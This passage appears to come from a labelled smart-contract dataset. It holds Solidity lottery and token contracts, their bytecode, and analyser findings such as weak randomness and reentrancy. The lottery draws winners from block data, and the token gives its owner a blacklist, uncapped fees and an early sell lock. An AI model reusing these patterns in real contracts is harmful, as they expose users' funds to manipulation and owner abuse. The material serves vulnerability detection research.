ticketIndex.length); for (uint16 i = 0; i < totalNumWinners; i++) { result[i] = prizes[i]; } return result; } function revoke() public onlyAdministrator activeGame { for (uint24 i = 0; i < ticketIndex.length; i++) { ticketIndex[i].transfer(bet); } state = State.REVOKED; } } contract UnilotTailEther is BaseUnilotGame { uint64 winnerIndex; //Public methods function UnilotTailEther(uint betAmount, address calculatorContractAddress) public { state = State.ACTIVE; administrator = msg.sender; bet = betAmount; calculator = UnilotPrizeCalculator(calculatorContractAddress); GameStarted(betAmount); } function getWinners() public view finishedGame returns(address[] memory players, uint[] memory prizes) { var(numWinners, numFixedAmountWinners) = getNumWinners(); uint totalNumWinners = numWinners + numFixedAmountWinners; players = new address[](totalNumWinners); prizes = new uint[](totalNumWinners); uint index; for (uint i = 0; i < totalNumWinners; i++) { if ( i > winnerIndex ) { index = ( ( players.length ) - ( i - winnerIndex ) ); } else { index = ( winnerIndex - i ); } players[i] = ticketIndex[index]; prizes[i] = tickets[players[i]].prize; } return (players, prizes); } function () public payable validBet onlyPlayer { require(tickets[msg.sender].block_number == 0); require(ticketIndex.length <= 1000); tickets[msg.sender].block_number = uint40(block.number); tickets[msg.sender].block_time = uint32(block.timestamp); ticketIndex.push(msg.sender); NewPlayerAdded(ticketIndex.length, getPrizeAmount()); } function finish() public onlyAdministrator activeGame { uint64 max_votes; uint64[] memory num_votes = new uint64[](ticketIndex.length); for (uint i = 0; i < ticketIndex.length; i++) { TicketLib.Ticket memory ticket = tickets[ticketIndex[i]]; uint64 vote = uint64( ( ( ticket.block_number * ticket.block_time ) + uint( ticketIndex[i]) ) % ticketIndex.length ); num_votes[vote] += 1; if ( num_votes[vote] > max_votes ) { max_votes = num_votes[vote]; winnerIndex = vote; } } uint[] memory prizes = calcaultePrizes(); uint lastId = winnerIndex; for ( i = 0; i < prizes.length; i++ ) { tickets[ticketIndex[lastId]].prize = prizes[i]; ticketIndex[lastId].transfer(prizes[i]); if ( lastId <= 0 ) { lastId = ticketIndex.length; } lastId -= 1; } administrator.transfer(this.balance); state = State.ENDED; GameFinished(ticketIndex[winnerIndex]); } } contract UnilotBonusTailToken is BaseUnilotGame { mapping (address => TicketLib.Ticket[]) public tickets; mapping (address => uint) _prize; uint16 numTickets; uint64 winnerIndex; uint256 constant public _prizeAmount = 100000 * (10**18); function UnilotBonusTailToken(address calculatorContractAddress) public { state = State.ACTIVE; administrator = msg.sender; calculator = UnilotPrizeCalculator(calculatorContractAddress); GameStarted(0); } function importPlayers(address game, address[] players) public onlyAdministrator { UnilotTailEther _game = UnilotTailEther(game); for (uint8 i = 0; i < uint8(players.length); i++) { TicketLib.Ticket memory ticket; var(block_number, block_time, prize) = _game.getPlayerDetails(players[i]); if (prize > 0) { continue; } ticket.block_number = uint40(block_number); ticket.block_time = uint32(block_time); if ( tickets[players[i]].length == 0 ) { ticketIndex.push(players[i]); } tickets[players[i]].push(ticket); numTickets++; } } function getPlayerDetails(address player) public view inactiveGame returns (uint, uint, uint) { player; return (0, 0, 0); } function () public payable onlyAdministrator { } function getPrizeAmount() public constant returns (uint result) { return _prizeAmount; } function calcaultePrizes() public returns(uint[] memory result) { var(numWinners, numFixedAmountWinners) = getNumWinners(); uint16 totalNumWinners = uint16( numWinners + numFixedAmountWinners ); result = new uint[]( totalNumWinners ); uint[50] memory prizes = calculator.calcaultePrizes( _prizeAmount/ticketIndex.length, ticketIndex.length); for (uint16 i = 0; i < totalNumWinners; i++) { result[i] = prizes[i]; } return result; } function getWinners() public view finishedGame returns(address[] memory players, uint[] memory prizes) { var(numWinners, numFixedAmountWinners) = getNumWinners(); uint totalNumWinners = numWinners + numFixedAmountWinners; players = new address[](totalNumWinners); prizes = new uint[](totalNumWinners); uint index; for (uint i = 0; i < totalNumWinners; i++) { if ( i > winnerIndex ) { index = ( ( players.length ) - ( i - winnerIndex ) ); } else { index = ( winnerIndex - i ); } players[i] = ticketIndex[index]; prizes[i] = _prize[players[i]]; } return (players, prizes); } function finish() public onlyAdministrator activeGame { uint64 max_votes; uint64[] memory num_votes = new uint64[](ticketIndex.length); for (uint i = 0; i < ticketIndex.length; i++) { for (uint8 j = 0; j < tickets[ticketIndex[i]].length; j++) { TicketLib.Ticket memory ticket = tickets[ticketIndex[i]][j]; uint64 vote = uint64( ( ( ( ticket.block_number * ticket.block_time ) / numTickets ) + (((block.number/2) * now) / (numTickets/2)) + uint( ticketIndex[i]) ) % ticketIndex.length ); num_votes[vote] += 1; if ( num_votes[vote] > max_votes ) { max_votes = num_votes[vote]; winnerIndex = vote; } } } uint[] memory prizes = calcaultePrizes(); uint lastId = winnerIndex; for ( i = 0; i < prizes.length; i++ ) { _prize[ticketIndex[lastId]] = prizes[i]; if ( lastId <= 0 ) { lastId = ticketIndex.length; } lastId -= 1; } administrator.transfer(this.balance); //For case of misscalculation state = State.ENDED; GameFinished(ticketIndex[winnerIndex]); } function revoke() public onlyAdministrator activeGame { administrator.transfer(this.balance); state = State.REVOKED; } }
0x6060604052600436106100b65763ffffffff60e060020a6000350416630ccf5af481146100d85780631865c57d146100fd57806320835e8c146101345780632b71b0e514610147578063396248471461017e5780634e989a5b146101a95780638b5b9ccc1461020657806398db173f1461026c578063b6549f751461027f578063c8dd6ce714610292578063d56b2889146102b1578063dae7a13c146102c4578063df15c37e14610317578063ecca9c2e146103c3575b60005433600160a060020a0390811661010090920416146100d657600080fd5b005b34156100e357600080fd5b6100eb6103d6565b60405190815260200160405180910390f35b341561010857600080fd5b6101106103e4565b6040518082600481111561012057fe5b60ff16815260200191505060405180910390f35b341561013f57600080fd5b6100eb6103ee565b341561015257600080fd5b61015a6103f4565b60405180848152602001838152602001828152602001935050505060405180910390f35b341561018957600080fd5b610191610421565b60405191825260208201526040908101905180910390f35b34156101b457600080fd5b6100d660048035600160a060020a03169060446024803590810190830135806020808202016040519081016040528093929190818152602001838360200280828437509496506104b195505050505050565b341561021157600080fd5b61021961072a565b60405160208082528190810183818151815260200191508051906020019060200280838360005b83811015610258578082015183820152602001610240565b505050509050019250505060405180910390f35b341561027757600080fd5b610219610792565b341561028a57600080fd5b6100d66108cc565b341561029d57600080fd5b61015a600160a060020a0360043516610955565b34156102bc57600080fd5b6100d6610984565b34156102cf57600080fd5b6102e6600160a060020a0360043516602435610d8d565b60405164ffffffffff909316835263ffffffff90911660208301526040808301919091526060909101905180910390f35b341561032257600080fd5b61032a610ddf565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561036e578082015183820152602001610356565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156103ad578082015183820152602001610395565b5050505090500194505050505060405180910390f35b34156103ce57600080fd5b6100eb610f6c565b69152d02c7e14af680000081565b60005460ff165b90565b60015490565b6000806000806000610404610421565b6003549193509150610414610f6c565b9096909550910192509050565b600454600354600091829182918291600160a060020a03909116906386a8da3790836040516040015260405160e060020a63ffffffff841602815260048101919091526024016040805180830381600087803b151561047f57600080fd5b6102c65a03f1151561049057600080fd5b505050604051805190602001805161ffff9283169792169550909350505050565b6000806104bc610f7a565b600080548190819033600160a060020a0390811661010090920416146104e157600080fd5b879550600094505b865160ff168560ff1610156107205785600160a060020a031663c8dd6ce7888760ff168151811061051657fe5b9060200190602002015160006040516060015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401606060405180830381600087803b151561056757600080fd5b6102c65a03f1151561057857600080fd5b5050506040518051906020018051906020018051905092509250925060008111156105a257610715565b64ffffffffff8316845263ffffffff82166020850152600560008860ff8816815181106105cb57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205415156106555760038054600181016106078382610f9a565b91600052602060002090016000898860ff168151811061062357fe5b90602001906020020151909190916101000a815481600160a060020a030219169083600160a060020a03160217905550505b60056000888760ff168151811061066857fe5b90602001906020020151600160a060020a03168152602081019190915260400160002080546001810161069b8382610fc3565b600092835260209092208691600202018151815464ffffffffff191664ffffffffff919091161781556020820151815463ffffffff91909116650100000000000268ffffffff00000000001990911617815560408201516001918201556007805461ffff19811661ffff9182169093011691909117905550505b6001909401936104e9565b5050505050505050565b610732610fef565b600380548060200260200160405190810160405280929190818152602001828054801561078857602002820191906000526020600020905b8154600160a060020a0316815260019091019060200180831161076a575b5050505050905090565b61079a610fef565b60008060006107a7611001565b60006107b1610421565b9450945083850192508261ffff166040518059106107cc5750595b9080825280602002602001820160405250600454600354919750600160a060020a0316906373de35709069152d02c7e14af680000081151561080a57fe5b046003805490506000604051610640015260405160e060020a63ffffffff85160281526004810192909252602482015260440161064060405180830381600087803b151561085757600080fd5b6102c65a03f1151561086857600080fd5b50505060405180610640016040529150600090505b8261ffff168161ffff1610156108c4578161ffff82166032811061089d57fe5b6020020151868261ffff16815181106108b257fe5b6020908102909101015260010161087d565b505050505090565b60005433600160a060020a0390811661010090920416146108ec57600080fd5b6000805460ff1660048111156108fe57fe5b1461090857600080fd5b600054600160a060020a0361010090910481169030163180156108fc0290604051600060405180830381858888f19350505050151561094657600080fd5b6000805460ff19166003179055565b600080808060005460ff16600481111561096b57fe5b141561097657600080fd5b506000938493508392509050565b600061098e610fef565b600080610999610f7a565b60006109a3610fef565b6000805433600160a060020a0390811661010090920416146109c457600080fd5b6000805460ff1660048111156109d657fe5b146109e057600080fd5b6003546040518059106109f05750595b90808252806020026020018201604052509650600095505b600354861015610c2b57600094505b60056000600388815481101515610a2a57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff86161015610c205760056000600388815481101515610a6c57fe5b6000918252602080832090910154600160a060020a031683528201929092526040019020805460ff8716908110610a9f57fe5b906000526020600020906002020160606040519081016040908152825464ffffffffff8116835265010000000000900463ffffffff166020830152600190920154918101919091526003805491955087828110610af857fe5b600091825260209091200154600754600160a060020a039091169060029061ffff160461ffff16426002430402811515610b2e57fe5b6007549190049061ffff16602088015163ffffffff1688510264ffffffffff16811515610b5757fe5b0464ffffffffff160101811515610b6a57fe5b0692506001878467ffffffffffffffff1681518110610b8557fe5b90602001906020020181815167ffffffffffffffff9101811690915289811691508890851681518110610bb457fe5b9060200190602002015167ffffffffffffffff161115610c1557868367ffffffffffffffff1681518110610be457fe5b906020019060200201516007805469ffffffffffffffff000019166201000067ffffffffffffffff87160217905597505b600190940193610a17565b600190950194610a08565b610c33610792565b6007546000975090925062010000900467ffffffffffffffff1690505b8151861015610cc557818681518110610c6557fe5b9060200190602002015160066000600384815481101515610c8257fe5b6000918252602080832090910154600160a060020a031683528201929092526040018120919091558111610cb557506003545b6001959095019460001901610c50565b600054600160a060020a0361010090910481169030163180156108fc0290604051600060405180830381858888f193505050501515610d0357600080fd5b6000805460ff19166001179055600754600380547f1728dd43546edd06fabfe796e5b641a151aa90998bfd1b1ec0ae98c6e77084599267ffffffffffffffff6201000090910416908110610d5357fe5b600091825260209091200154600160a060020a0316604051600160a060020a03909116815260200160405180910390a15050505050505050565b600560205281600052604060002081815481101515610da857fe5b60009182526020909120600290910201805460019091015464ffffffffff821693506501000000000090910463ffffffff16915083565b610de7610fef565b610def610fef565b600080808080600160005460ff166004811115610e0857fe5b14610e1257600080fd5b610e1a610421565b94509450838501925082604051805910610e315750595b9080825280602002602001820160405250965082604051805910610e525750595b90808252806020026020018201604052509550600090505b82811015610f635760075462010000900467ffffffffffffffff16811115610eab5760075462010000900467ffffffffffffffff1681038751039150610ec4565b60075462010000900467ffffffffffffffff1681900391505b6003805483908110610ed257fe5b600091825260209091200154600160a060020a0316878281518110610ef357fe5b600160a060020a0390921660209283029091019091015260066000888381518110610f1a57fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002054868281518110610f5157fe5b60209081029091010152600101610e6a565b50505050509091565b69152d02c7e14af680000090565b606060405190810160409081526000808352602083018190529082015290565b815481835581811511610fbe57600083815260209020610fbe918101908301611029565b505050565b815481835581811511610fbe57600202816002028360005260206000209182019101610fbe9190611047565b60206040519081016040526000815290565b6106406040519081016040526032815b60008152602001906001900390816110115790505090565b6103eb91905b80821115611043576000815560010161102f565b5090565b6103eb91905b8082111561104357805468ffffffffffffffffff191681556000600182015560020161104d5600a165627a7a723058204549bd890911b00b45ec28d8712c06ea775dba6bcc1b1a8b5d8720c5378520c30029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
72
0xddac9c604ba6bc4acec0fbb485b83f390ecf2f31
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CyOpProtocol is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100e12 * 10**9; //100 trillion uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private zeroFee; //0% uint256 public treasury1Fee = 4; //4% uint256 public treasury2Fee = 6; //6% uint256 public protocolFee = 10; //gowth hacking(4%) + protocol(6%) uint256 private prevProtocolFee; //gowth hacking(4%) + protocol(6%) address payable public treasury1; //4% address payable public treasury2; //6% string private constant _name = "CyOp | Protocol"; string private constant _symbol = "CyOp"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private inSwap; bool public sellingEnabled; bool public swapEnabled; uint256 public contractStartTime; uint256 public maxTxAmount = 3e12 * 10**9; //3%-3 trillion event MaxTxAmountUpdated(uint maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address _treasury1, address _treasury2) { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); treasury1 = payable(_treasury1); treasury2 = payable(_treasury2); contractStartTime = block.timestamp; _rOwned[_msgSender()] = _rTotal; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[treasury1] = true; isExcludedFromFee[treasury2] = true; swapEnabled = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); require (owner == Ownable.owner() || block.timestamp > contractStartTime + 20 minutes, "Selling is disabled."); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); require(amount <= maxTxAmount); uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && contractTokenBalance > 0 && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToTreasury(contractETHBalance); } } } bool takeFee = true; //if any account belongs to isExcludedFromFee account then remove the fee if(isExcludedFromFee[from] || isExcludedFromFee[to]){ takeFee = false; } if(!takeFee) removeAllFee(); _tokenTransfer(from,to,amount); if(!takeFee) restoreAllFee(); } function removeAllFee() private { if(protocolFee == 0) return; prevProtocolFee = protocolFee; protocolFee = 0; } function restoreAllFee() private { protocolFee = prevProtocolFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToTreasury(uint256 amount) private { treasury1.transfer((amount.mul(treasury1Fee).mul(100).div(protocolFee)).div(100)); treasury2.transfer((amount.mul(treasury2Fee).mul(100).div(protocolFee)).div(100)); } function setFee(uint256 _treasury1Fee, uint256 _treasury2Fee) external onlyOwner { treasury1Fee = _treasury1Fee; treasury2Fee = _treasury2Fee; protocolFee = treasury1Fee + treasury2Fee; } function updateTreasury(address _treasury1, address _treasury2) external onlyOwner { treasury1 = payable(_treasury1); treasury2 = payable(_treasury2); } function excludeFromFee(address account) public onlyOwner { isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { isExcludedFromFee[account] = false; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } //in percentages function setMaxTxLimit(uint256 _maxPercent) external onlyOwner { maxTxAmount = (_tTotal * _maxPercent) / 100; } function delBot(address notbot) external onlyOwner { bots[notbot] = false; } function enableSwap(bool enabled) external onlyOwner { swapEnabled = enabled; } function setPairAddress(address _uniswapV2Pair) external onlyOwner { uniswapV2Pair = _uniswapV2Pair; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tProtocol) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeProtocol(tProtocol); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeProtocol(uint256 tProtocol) private { uint256 currentRate = _getRate(); uint256 rProtocol = tProtocol.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rProtocol); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswapTreasury() external { require(_msgSender() == treasury1 || _msgSender() == treasury2); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); manualsend(); } function manualsend() internal { uint256 contractETHBalance = address(this).balance; sendETHToTreasury(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tProtocol) = _getTValues(tAmount, zeroFee, protocolFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tProtocol, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tProtocol); } function _getTValues(uint256 _tAmount, uint256 taxFee, uint256 _protocolFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = _tAmount.mul(taxFee).div(100); uint256 tProtocol = _tAmount.mul(_protocolFee).div(100); uint256 tTransferAmount = _tAmount.sub(tFee).sub(tProtocol); return (tTransferAmount, tFee, tProtocol); } function _getRValues(uint256 _tAmount, uint256 _tFee, uint256 _tProtocol, uint256 _currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = _tAmount.mul(_currentRate); uint256 rFee = _tFee.mul(_currentRate); uint256 rProtocol = _tProtocol.mul(_currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rProtocol); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101e75760003560e01c80638c0b5e2211610102578063bc9323c311610095578063ea2f0b3711610064578063ea2f0b37146105c8578063f2fde38b146105e8578063f771cb6514610608578063fc24e8f21461062957600080fd5b8063bc9323c31461052c578063d2a09c7114610542578063dd62ed3e14610562578063e5d1d260146105a857600080fd5b8063a9059cbb116100d1578063a9059cbb146104c0578063b0e21e8a146104e0578063b2077217146104f6578063b515566a1461050c57600080fd5b80638c0b5e221461043f5780638da5cb5b1461045557806395d89b4114610473578063a22d4832146104a057600080fd5b8063437823ec1161017a5780636ddd1713116101495780636ddd1713146103d457806370a08231146103f5578063715018a614610415578063806e35a71461042a57600080fd5b8063437823ec1461034457806352f7c988146103645780635342acb41461038457806364f5a5bb146103b457600080fd5b806318160ddd116101b657806318160ddd146102c957806323b872dd146102e6578063273123b714610306578063313ce5671461032857600080fd5b806306fdde03146101f3578063095ea7b31461023d5780630c3d51571461026d578063129f55021461029157600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b5060408051808201909152600f81526e10de53dc081f08141c9bdd1bd8dbdb608a1b60208201525b6040516102349190611955565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611800565b610649565b6040519015158152602001610234565b34801561027957600080fd5b5061028360115481565b604051908152602001610234565b34801561029d57600080fd5b50600d546102b1906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102d557600080fd5b5069152d02c7e14af6800000610283565b3480156102f257600080fd5b5061025d6103013660046117bf565b610660565b34801561031257600080fd5b5061032661032136600461174c565b6106c9565b005b34801561033457600080fd5b5060405160098152602001610234565b34801561035057600080fd5b5061032661035f36600461174c565b61071d565b34801561037057600080fd5b5061032661037f366004611933565b61076b565b34801561039057600080fd5b5061025d61039f36600461174c565b60046020526000908152604090205460ff1681565b3480156103c057600080fd5b506103266103cf36600461191a565b6107b0565b3480156103e057600080fd5b5060105461025d90600160b01b900460ff1681565b34801561040157600080fd5b5061028361041036600461174c565b610800565b34801561042157600080fd5b50610326610822565b34801561043657600080fd5b50610326610858565b34801561044b57600080fd5b5061028360125481565b34801561046157600080fd5b506000546001600160a01b03166102b1565b34801561047f57600080fd5b50604080518082019091526004815263043794f760e41b6020820152610227565b3480156104ac57600080fd5b506103266104bb36600461174c565b6108b7565b3480156104cc57600080fd5b5061025d6104db366004611800565b610903565b3480156104ec57600080fd5b50610283600b5481565b34801561050257600080fd5b50610283600a5481565b34801561051857600080fd5b5061032661052736600461182c565b610910565b34801561053857600080fd5b5061028360095481565b34801561054e57600080fd5b5061032661055d3660046118f8565b6109a6565b34801561056e57600080fd5b5061028361057d366004611786565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105b457600080fd5b50600e546102b1906001600160a01b031681565b3480156105d457600080fd5b506103266105e336600461174c565b6109ee565b3480156105f457600080fd5b5061032661060336600461174c565b610a39565b34801561061457600080fd5b5060105461025d90600160a81b900460ff1681565b34801561063557600080fd5b50610326610644366004611786565b610ad1565b6000610656338484610b29565b5060015b92915050565b600061066d848484610cb9565b6106bf84336106ba85604051806060016040528060288152602001611b33602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f5e565b610b29565b5060019392505050565b6000546001600160a01b031633146106fc5760405162461bcd60e51b81526004016106f3906119aa565b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146107475760405162461bcd60e51b81526004016106f3906119aa565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b031633146107955760405162461bcd60e51b81526004016106f3906119aa565b6009829055600a8190556107a98183611a50565b600b555050565b6000546001600160a01b031633146107da5760405162461bcd60e51b81526004016106f3906119aa565b60646107f08269152d02c7e14af6800000611a8a565b6107fa9190611a68565b60125550565b6001600160a01b03811660009081526001602052604081205461065a90610f98565b6000546001600160a01b0316331461084c5760405162461bcd60e51b81526004016106f3906119aa565b610856600061101c565b565b600d546001600160a01b0316336001600160a01b0316148061088d5750600e546001600160a01b0316336001600160a01b0316145b61089657600080fd5b60006108a130610800565b90506108ac8161106c565b6108b46111f5565b50565b6000546001600160a01b031633146108e15760405162461bcd60e51b81526004016106f3906119aa565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610656338484610cb9565b6000546001600160a01b0316331461093a5760405162461bcd60e51b81526004016106f3906119aa565b60005b81518110156109a25760016005600084848151811061095e5761095e611af1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061099a81611ac0565b91505061093d565b5050565b6000546001600160a01b031633146109d05760405162461bcd60e51b81526004016106f3906119aa565b60108054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610a185760405162461bcd60e51b81526004016106f3906119aa565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610a635760405162461bcd60e51b81526004016106f3906119aa565b6001600160a01b038116610ac85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106f3565b6108b48161101c565b6000546001600160a01b03163314610afb5760405162461bcd60e51b81526004016106f3906119aa565b600d80546001600160a01b039384166001600160a01b031991821617909155600e8054929093169116179055565b6001600160a01b038316610b8b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106f3565b6001600160a01b038216610bec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106f3565b6000546001600160a01b0384811691161480610c155750601154610c12906104b0611a50565b42115b610c585760405162461bcd60e51b815260206004820152601460248201527329b2b63634b7339034b9903234b9b0b13632b21760611b60448201526064016106f3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106f3565b6001600160a01b038216610d7f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106f3565b60008111610de15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106f3565b6000546001600160a01b03848116911614801590610e0d57506000546001600160a01b03838116911614155b15610ee5576001600160a01b03831660009081526005602052604090205460ff16158015610e5457506001600160a01b03821660009081526005602052604090205460ff16155b610e5d57600080fd5b601254811115610e